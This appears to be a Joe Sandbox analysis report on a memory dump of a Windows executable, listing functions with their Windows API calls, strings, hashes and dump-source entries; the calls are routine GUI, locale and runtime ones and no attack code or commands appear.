Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Rect$AsyncEmptyState$Invert
String ID: (
API String ID: 613991215-3887548279
Opcode ID: ce6d6b1d5365356a31f2358a4443b04d6871da755c3c512ab86d658224c143a9
Instruction ID: 730a8590baf601da818039969f3e5b4258ba5727b9f07f92cde639826a362630
Opcode Fuzzy Hash: ce6d6b1d5365356a31f2358a4443b04d6871da755c3c512ab86d658224c143a9
Instruction Fuzzy Hash: 0612817630168086EA7ADB2B89547ED23A2F78CBC4F285A26EF1D477A5CF35C851C701

Uniqueness

Uniqueness Score: -1.00%

Function 000000014000E540 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50memoryCOMMON

Download Yara Rule

APIs

_Init_thread_footer.LIBCMT ref: 000000014000E5AB

Part of subcall function 00000001401CB79C: EnterCriticalSection.KERNEL32(?,?,?,000000014000BDAD,?,?,?,000000014000C09E), ref: 00000001401CB7AC
Part of subcall function 00000001401CB79C: LeaveCriticalSection.KERNEL32(?,?,?,000000014000BDAD,?,?,?,000000014000C09E), ref: 00000001401CB7EC

GetProcessHeap.KERNEL32(?,?,TGenericSinkCoupler<class _com_ptr_t<class _com_IIID<struct ISBActiveProtection,&struct __s_GUID const _GUID_f4198087_be24_4537_98,0000000140200C3E), ref: 000000014000E576

Part of subcall function 00000001401CBCC0: _onexit.LIBCMT ref: 00000001401CBCC4

_Init_thread_footer.LIBCMT ref: 000000014000E625

Part of subcall function 00000001401CB7FC: EnterCriticalSection.KERNEL32(?,?,?,000000014000BD8D,?,?,?,000000014000C09E), ref: 00000001401CB80C

Strings

TGenericSinkCoupler<class _com_ptr_t<class _com_IIID<struct ISBActiveProtection,&struct __s_GUID const _GUID_f4198087_be24_4537_98, xrefs: 000000014000E540

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: CriticalSection$EnterInit_thread_footer$HeapLeaveProcess_onexit
String ID: TGenericSinkCoupler<class _com_ptr_t<class _com_IIID<struct ISBActiveProtection,&struct __s_GUID const _GUID_f4198087_be24_4537_98
API String ID: 3925148313-102460630
Opcode ID: 04d8fea5d159e5dad9b7f48ca5b4d035eec76ef149ae2b86b9fa2a505ee60cf2
Instruction ID: e07cadb934fc0c54caa70eb6b15e5ffc53d746895e1dec330639480a33609098
Opcode Fuzzy Hash: 04d8fea5d159e5dad9b7f48ca5b4d035eec76ef149ae2b86b9fa2a505ee60cf2
Instruction Fuzzy Hash: 7B21ED70661B4495FB06DFA2FC89BD633A8B79C766F601125D72C422F1DBB8C946C780

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140112058 Relevance: 6.3, APIs: 4, Instructions: 296keyboardCOMMON

Download Yara Rule

APIs

SetRectEmpty.USER32 ref: 00000001401120CB
GetKeyState.USER32 ref: 00000001401120D6
GetWindowRect.USER32 ref: 0000000140112371
GetWindowRect.USER32 ref: 00000001401123DC

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Rect$Window$EmptyState
String ID:
API String ID: 1580063985-0
Opcode ID: 0504ccfc04e666f185dd8aa1d20d06c6b770a0160e6858b1f43ee8b5b62ad330
Instruction ID: 0681e4aa45c887c2f43826025ba3ae9a0bb0e0cd54f519ae2df73e92caeb7e4b
Opcode Fuzzy Hash: 0504ccfc04e666f185dd8aa1d20d06c6b770a0160e6858b1f43ee8b5b62ad330
Instruction Fuzzy Hash: 07C11436704B8186EB1ADFA7A4943ED23A5BB4CFC4F098126DF495BB69DE38C516C340

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400BA1CC Relevance: 6.3, APIs: 4, Instructions: 251COMMON

Download Yara Rule

APIs

FillRect.USER32 ref: 00000001400BA21A
FillRect.USER32 ref: 00000001400BA2E6
FillRect.USER32 ref: 00000001400BA39D

Part of subcall function 000000014004978C: CreateSolidBrush.GDI32 ref: 00000001400497B3

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: FillRect$BrushCreateSolid
String ID:
API String ID: 248659410-0
Opcode ID: 1a397a4f17b8dadbfbcac12e856593f5b7f75613517bfebb3d79db9e418647d0
Instruction ID: 9730473f39cf2b2fffa05b929faecbe20d300f53129a39c6cad425ad532a46bd
Opcode Fuzzy Hash: 1a397a4f17b8dadbfbcac12e856593f5b7f75613517bfebb3d79db9e418647d0
Instruction Fuzzy Hash: 90916D72B205518AE708DF7AC9557EC6BB5F388388F54912DEF0A9BBA4DB38C585C340

Uniqueness

Uniqueness Score: -1.00%

Function 000000014014A2E4 Relevance: 6.2, APIs: 4, Instructions: 247windowCOMMON

Download Yara Rule

APIs

Part of subcall function 000000014003A6D4: GetDlgItem.USER32 ref: 000000014003A6F5

SendMessageW.USER32 ref: 000000014014A44D
wcschr.LIBVCRUNTIME ref: 000000014014A4C4

Part of subcall function 0000000140035158: _CxxThrowException.LIBVCRUNTIME ref: 0000000140035174

Part of subcall function 000000014003A624: EnableWindow.USER32 ref: 000000014003A645

GetClientRect.USER32 ref: 000000014014A62C
MapWindowPoints.USER32 ref: 000000014014A646

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Window$ClientEnableExceptionItemMessagePointsRectSendThrowwcschr
String ID:
API String ID: 1851896112-0
Opcode ID: 0b32fe3e28013d55605071da2486921fd7d90f90c8f0e913cba82441660e1e81
Instruction ID: a9e3f5588e9da3408df58008dec949ba3464fb2607e6714e7de3170b6ee19d47
Opcode Fuzzy Hash: 0b32fe3e28013d55605071da2486921fd7d90f90c8f0e913cba82441660e1e81
Instruction Fuzzy Hash: 63A15D35701AC489EB66EF27D4553ED2391BB89BD4F898422AF490BBBADF38C541C740

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140054158 Relevance: 6.2, APIs: 4, Instructions: 243comCOMMON

Download Yara Rule

APIs

wcschr.LIBVCRUNTIME ref: 0000000140054402
CoInitializeEx.OLE32 ref: 000000014005442E
CoCreateInstance.OLE32 ref: 0000000140054481

Part of subcall function 0000000140006230: _invalid_parameter_noinfo.LIBCMT ref: 00000001400062EC

GetVersionExW.KERNEL32 ref: 0000000140054232

Part of subcall function 0000000140035158: _CxxThrowException.LIBVCRUNTIME ref: 0000000140035174

Part of subcall function 000000014003517C: _CxxThrowException.LIBVCRUNTIME ref: 0000000140035198

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionThrow$CreateInitializeInstanceVersion_invalid_parameter_noinfowcschr
String ID:
API String ID: 2209426604-0
Opcode ID: 0116c18c787cc68e3b9ad1e36f354afa946b0545902dc1f2610f0fb41a6b1e5e
Instruction ID: 29aeaa001a74a3641b2913ef4821c9d5847532b0911a440f24532ef5e29bd9d9
Opcode Fuzzy Hash: 0116c18c787cc68e3b9ad1e36f354afa946b0545902dc1f2610f0fb41a6b1e5e
Instruction Fuzzy Hash: A6B15776210BA482EB56DB66E8987DE33A4F78CB98F114126EF5D877A1EF38C541C700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140126490 Relevance: 6.2, APIs: 4, Instructions: 219COMMON

Download Yara Rule

APIs

InflateRect.USER32 ref: 0000000140126589
OffsetRect.USER32 ref: 0000000140126652
GetSysColor.USER32 ref: 000000014012666A
InflateRect.USER32 ref: 0000000140126734

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Rect$Inflate$ColorOffset
String ID:
API String ID: 3313136937-0
Opcode ID: 5b8148e7b59b65d7c1a1b4243661ee97e60b7fd17dc21bf8235b0f350c2fd5b7
Instruction ID: a9e483d7e5d0301a5a33fdccd4bebf5be58e2e9a6e7ffc3a96b1844fd7538e70
Opcode Fuzzy Hash: 5b8148e7b59b65d7c1a1b4243661ee97e60b7fd17dc21bf8235b0f350c2fd5b7
Instruction Fuzzy Hash: B5918276B14A808AE711CB76E4547DD73A0F74DB98F14422AEF4963BA5DB38C44AC740

Uniqueness

Uniqueness Score: -1.00%

Function 00000001401EFFE4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00000001401F001D
GetLocaleInfoW.KERNEL32(?,?,?,?,00000000,00000001401EBB0B), ref: 00000001401F004B

Strings

GetLocaleInfoEx, xrefs: 00000001401F0011

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: InfoLocaletry_get_function
String ID: GetLocaleInfoEx
API String ID: 2200034068-2904428671
Opcode ID: 5ebddc3e09940bff293991a281615bd3a96bd4c256a7b4e384e9e93b565d674c
Instruction ID: 21db65592dc53197c1321e3961a24b297d52cbd38617d581415158c4c87d58b6
Opcode Fuzzy Hash: 5ebddc3e09940bff293991a281615bd3a96bd4c256a7b4e384e9e93b565d674c
Instruction Fuzzy Hash: E8011235704A4082E7029B57B444BDAA761A79CFD0F584025EF58177B9CE78C9458744

Uniqueness

Uniqueness Score: -1.00%

Function 00000001401E06F0 Relevance: 4.8, APIs: 3, Instructions: 328COMMONLIBRARYCODE

Download Yara Rule

APIs

memcpy_s.LIBCPMT ref: 00000001401E077A

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: 47d05f1d8eff821228637d1e71fd626d0cfd17c82c721364c3a6103bbbdf3ffc
Instruction ID: 7106ff34e66d0d80f8b78b3370e2f47378428cfaa34fe0f7653b059e82804e5c
Opcode Fuzzy Hash: 47d05f1d8eff821228637d1e71fd626d0cfd17c82c721364c3a6103bbbdf3ffc
Instruction Fuzzy Hash: 69C1E77271568487E736CF16F188B9EB7A1F398B94F148129DB8A43B54D739DC81CB80

Uniqueness

Uniqueness Score: -1.00%

Function 000000014018C36C Relevance: 4.7, APIs: 3, Instructions: 230COMMON

Download Yara Rule

APIs

InflateRect.USER32 ref: 000000014018C3DE
RedrawWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,000000014018B899), ref: 000000014018C669

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: InflateRectRedrawWindow
String ID:
API String ID: 3190756164-0
Opcode ID: 0182a049c9c8c80f0cd8dbc833ef4394bcf85fd053704c845e3020b6ce14ded8
Instruction ID: b2459838e3473d746d41b0e2c8f1618776dc8ddfbaebbfa81bd47851a0409f9b
Opcode Fuzzy Hash: 0182a049c9c8c80f0cd8dbc833ef4394bcf85fd053704c845e3020b6ce14ded8
Instruction Fuzzy Hash: 0F919A33711A808AEB99DF36D5847ED77A0F348B84F18812ADB1A93765DF34E2558B00

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140132500 Relevance: 4.7, APIs: 3, Instructions: 206COMMON

Download Yara Rule

APIs

IsRectEmpty.USER32 ref: 000000014013261F
IsRectEmpty.USER32 ref: 0000000140132664
IsRectEmpty.USER32 ref: 0000000140132682

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: EmptyRect
String ID:
API String ID: 2270935405-0
Opcode ID: afffb8be2396eff35d1c53132b8e4a9ba1ab8ccbfb21e6471ad84b96a7316ff3
Instruction ID: 9c1524444e3b6b30a0949131dc80282ee72e38335915ddafa39ecad8abcd33b5
Opcode Fuzzy Hash: afffb8be2396eff35d1c53132b8e4a9ba1ab8ccbfb21e6471ad84b96a7316ff3
Instruction Fuzzy Hash: 93818C32715A5085FB16EB67E4503ED23A1BB9CF98F488225EF4A57BA5EF34C546C300

Uniqueness

Uniqueness Score: -1.00%

Function 000000014015E200 Relevance: 4.7, APIs: 3, Instructions: 192COMMON

Download Yara Rule

APIs

Part of subcall function 000000014003AD84: SetWindowPos.USER32 ref: 000000014003ADDC

GetWindowRect.USER32 ref: 000000014015E33E
GetWindowRect.USER32 ref: 000000014015E3D9
RedrawWindow.USER32 ref: 000000014015E4B2

Part of subcall function 000000014003AEC0: ShowWindow.USER32 ref: 000000014003AEE1

Part of subcall function 000000014015DA0C: IsWindowVisible.USER32 ref: 000000014015DA35
Part of subcall function 000000014015DA0C: MapWindowPoints.USER32 ref: 000000014015DA74
Part of subcall function 000000014015DA0C: GetWindowLongW.USER32 ref: 000000014015DAEC

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Window$Rect$LongPointsRedrawShowVisible
String ID:
API String ID: 307805495-0
Opcode ID: 5f9874dc25956669e46d1e6e2411a80bf642c89ffb5b610104e6ae86527dd6d1
Instruction ID: 3fdd773392c8796f9c4cc365f7cc593d415663c7f7eede7694a51d8396b9e769
Opcode Fuzzy Hash: 5f9874dc25956669e46d1e6e2411a80bf642c89ffb5b610104e6ae86527dd6d1
Instruction Fuzzy Hash: 5D81C232B102808AFB2ACF76D184BAE77A4F74CB84F088625DF055BB65DB39D441CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00000001401FE5AC Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 195COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00000001401FE610

Part of subcall function 00000001401EB0D8: _invalid_parameter_noinfo.LIBCMT ref: 00000001401EB0EC

Strings

pPE, xrefs: 00000001401FE5BE, 00000001401FE5D3

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo
String ID: pPE
API String ID: 474895018-398285065
Opcode ID: 77fe077e6b21ec99216bf68402177326eec03bb2856be5111ed4deb33b079892
Instruction ID: b14b2d0d19de9f9d92f6712758aa1d7c998f89a5e04316bc47dfb17e1f0da43a
Opcode Fuzzy Hash: 77fe077e6b21ec99216bf68402177326eec03bb2856be5111ed4deb33b079892
Instruction Fuzzy Hash: 0B71083260424446FB765A2B94F07ED76C2B7B8B74F18472DDB66876F1E679C8418700

Uniqueness

Uniqueness Score: -1.00%

Function 00000001401F0068 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00000001401F008B

Strings

GetSystemTimePreciseAsFileTime, xrefs: 00000001401F0084

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: try_get_function
String ID: GetSystemTimePreciseAsFileTime
API String ID: 2742660187-595813830
Opcode ID: 8873ad5eca559404ecd678eeaf103fffa27e8772dff67dcb77dab66e396349ef
Instruction ID: 39848b3527e2cd9b0635c0d5545351d19baed34d0304a68d3972d39b3f4a2bf0
Opcode Fuzzy Hash: 8873ad5eca559404ecd678eeaf103fffa27e8772dff67dcb77dab66e396349ef
Instruction Fuzzy Hash: A6E0C275A11804C1FB0B8B93F828BE12361EB8CB54F8810329F1C0B2F0DEB88985C340

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400927C8 Relevance: 3.5, APIs: 2, Instructions: 458COMMON

Download Yara Rule

APIs

GetClientRect.USER32 ref: 0000000140092859

Part of subcall function 00000001400497D8: GetDC.USER32 ref: 0000000140049817

OffsetRect.USER32 ref: 0000000140092CB4

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Rect$ClientOffset
String ID:
API String ID: 3549191583-0
Opcode ID: 4285ffc1e9068a221de76088a84bfb84c30b46584294f5f800361862a5cb3d59
Instruction ID: c8b5eb9519461ed8941753c5a466a9eb961de8310282aa52e1025421b2d3bde7
Opcode Fuzzy Hash: 4285ffc1e9068a221de76088a84bfb84c30b46584294f5f800361862a5cb3d59
Instruction Fuzzy Hash: E9226932A146818AEB56DF6AE4407ED77A0F78CBD8F194126EF4957B69DF38D840CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00000001401EC608 Relevance: 3.2, APIs: 2, Instructions: 221COMMONLIBRARYCODE

Download Yara Rule

APIs

_Wcsftime.LIBCMT ref: 00000001401EC65B

Part of subcall function 00000001401EBD3C: _invalid_parameter_noinfo.LIBCMT ref: 00000001401EBD67

